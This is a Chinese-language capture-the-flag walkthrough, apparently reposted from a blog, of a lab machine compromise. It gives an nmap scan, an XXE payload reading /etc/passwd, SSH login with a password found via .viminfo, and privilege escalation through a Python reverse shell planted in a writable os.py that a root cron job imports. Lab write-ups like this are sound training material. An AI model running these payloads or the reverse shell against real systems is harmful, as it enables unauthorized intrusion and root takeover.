赞
踩
靶场来源:公众号:PTEHub,关注公众号:PTEHub 获取最新靶场资源
靶场类型:单局域网
收集信息
我们先用nmap扫描一下端口
发现22端口和80端口开放
nmap -sS -p 1-65535 -v 10.35.153.34
访问web端口,发现是一个提交表单的页面,无论我们输入什么,都显示已经注册。
我们用burp来抓个包,发现使用xml来传输数据。
可能存在xxe漏洞,我们修改一下请求包,尝试读取文件,发现有root和david用户可以登录
-
- <?xml version = "1.0"?>
- <!DOCTYPE ANY [
- <!ENTITY f SYSTEM "file:///etc/passwd">
- ]>
- <x>&f;</x>
-
-
接下来我们只需要找到密码就可以尝试进行ssh连接 。
尝试读取/home/david 下面的文件,没有显示任何东西。我们去爆破一下/david下面的目录
我们枚举一个变量,选择字典对它进行扫描
通过爆破发现五个目录,筛选之后在/.viminfo文件里面发现密码文件可疑路径
我们读取这个文件,发现疑似密码
我们通过ssh连接尝试一下,输入刚才读到的密码,登录david账号,连接成功。
提升权限
这是一个普通用户,我们要进行提权。
先查看一下系统所有文件中拥有suid权限的文件,查看有没有可能存在的漏洞,没有什么收获
find / -perm -4000 2>/dev/null
我们去github下载一个pspy64
pspy是一个命令行工具,它可以在没有Root权限的情况下,监控Linux进程。黑客可以利用它来查看其他用户的计划任务工作(cron job)
下载之后在下载位置打开终端,使用python3 http服务搭一个简易web服务器实现pspy的文件共享
python3 -m http.server 6767
然后使用wget把pspy下载到david用户
wget http://10.17.22.57:6767/pspy46
然后我们执行pspy64文件,发现没有权限,我们直接赋予它执行权限
chmod +x pspy46
执行之后,监视靶机后台进程
我们发现在后台每分钟会执行一个定时任务,文件路径为/opt/suid.py
执行任务的用户为root用户,我们可以写入反弹shell脚本来获取root权限
查看suid.py文件后发现,该文件为root用户所属,在运行时调用了os.py文件
whereis python3
查找运行python3的所有文件,在/usr/lib/python3.9目录下找到了os.py文件
而os.py文件有写入权限
在os.py中用python写入反弹shell脚本
- import os,socket,subprocess;
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
- s.connect(('vpsip',vpsport));os.dup2(s.fileno(),0);
- os.dup2(s.fileno(),1);
- os.dup2(s.fileno(),2);
- p=subprocess.call(['/bin/bash','-i']);
监听端口,提升到root权限,成功拿到flag!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。